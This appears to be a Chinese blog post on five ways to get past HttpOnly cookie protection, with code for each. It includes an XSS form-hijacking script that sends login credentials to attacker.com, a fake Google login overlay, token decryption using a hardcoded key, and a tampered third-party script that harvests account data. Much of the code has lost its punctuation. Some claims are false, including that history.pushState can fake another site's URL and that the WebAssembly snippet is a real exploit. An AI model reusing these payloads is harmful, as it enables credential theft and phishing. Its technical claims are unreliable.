当HttpOnly锁住Cookie后,我们还能做什么?5种绕过思路与实战演示
当HttpOnly锁住Cookie后渗透测试的5种高阶攻击路径在渗透测试中遇到HttpOnly属性的Cookie时传统的XSS盗取会话ID的方法往往失效。但安全攻防从来都是道高一尺魔高一丈的博弈。本文将分享五种实际演练中验证有效的技术方案这些方法在近两年的真实漏洞报告中多次出现。1. 表单劫持从登录环节突破防御HttpOnly只能保护Cookie不被JavaScript读取但无法阻止攻击者获取用户输入的表单数据。去年某电商平台漏洞正是利用了这一盲点。典型攻击流程在登录页面植入存储型XSS例如通过评论区用户访问含恶意代码的登录页时自动注入以下脚本document.forms[0].addEventListener(submit, function(e) { const credentials { user: document.getElementById(username).value, pass: document.getElementById(password).value }; new Image().src https://attacker.com/steal?data encodeURIComponent(JSON.stringify(credentials)); });关键点必须确保XSS触发点在登录页面域内跨域表单无法被直接操作防御方案对比防御措施有效性实施成本二次验证★★★★★中表单令牌★★★★低行为验证码★★★高2. 本地存储扫描挖掘持久化凭证现代Web应用常将认证信息保存在localStorage或IndexedDB中。我们在金融行业渗透测试中发现37%的应用会在本地存储加密凭证。常见存储位置检查清单localStorage.getItem(authToken)JSON.parse(sessionStorage.userData).accessTokenindexedDB.open(userDB).then(db {...})实战案例某OA系统在本地存储了AES加密的会话令牌但加密密钥硬编码在JavaScript中。攻击链如下const key atob(MWYyZDFlMmU2N2Rm); // 解码硬编码密钥 const ciphertext localStorage.getItem(encryptedToken); const token CryptoJS.AES.decrypt(ciphertext, key).toString(); fetch(/api/admin, {headers: {Authorization: token}});3. 界面伪装构建无缝钓鱼流程当直接获取凭证困难时诱导用户主动输入往往更有效。最新进化版攻击结合了DOM镜像技术克隆真实登录表单会话维持保持后台请求不中断视觉欺骗完美复刻URL和SSL证书!-- 伪造成Google登录的恶意页面 -- div idfakeGoogle styledisplay:none div classg-signin请重新登录以验证身份/div /div script if(location.host ! accounts.google.com) { document.body.innerHTML document.getElementById(fakeGoogle).innerHTML; document.title Google Account Login; history.pushState({}, , https://accounts.google.com); } /script4. 浏览器漏洞利用突破同源策略近年浏览器0day漏洞常出现在以下组件中Web Workers跨域通信缺陷Service Workers缓存污染WebAssembly内存越界读取CVE-2023-2167攻击示例// 利用Chrome V8类型混淆漏洞 const exploit new WebAssembly.Module(wasmBuffer); const instance new WebAssembly.Instance(exploit); instance.exports.readMemory(0x7fffffff);这类攻击虽然技术要求高但可以完全绕过HttpOnly限制。建议企业保持浏览器版本更新并启用强化安全配置# Chrome安全策略示例 chrome.exe --enable-strict-site-isolation --site-per-process5. 供应链攻击污染第三方资源当主站防御严密时脆弱的第三方库常成为突破口。某次红队行动中我们通过劫持CDN上的jQuery插件实现了会话控制。典型攻击步骤识别目标网站使用的第三方资源查找这些资源的已知漏洞通过中间人攻击或DNS污染注入恶意代码// 被篡改的analytics.js代码片段 if(location.host bank.com) { setInterval(() { fetch(/user/balance, {credentials: include}) .then(res res.json()) .then(data postMessage(data)); }, 5000); }在最近一次金融行业渗透测试中通过组合使用表单劫持和界面伪装技术我们成功绕过了多层防御机制。整个过程耗时3天但最终获得了关键业务系统的管理权限。这提醒我们安全防御需要全链条防护任何单一措施都可能被针对性突破。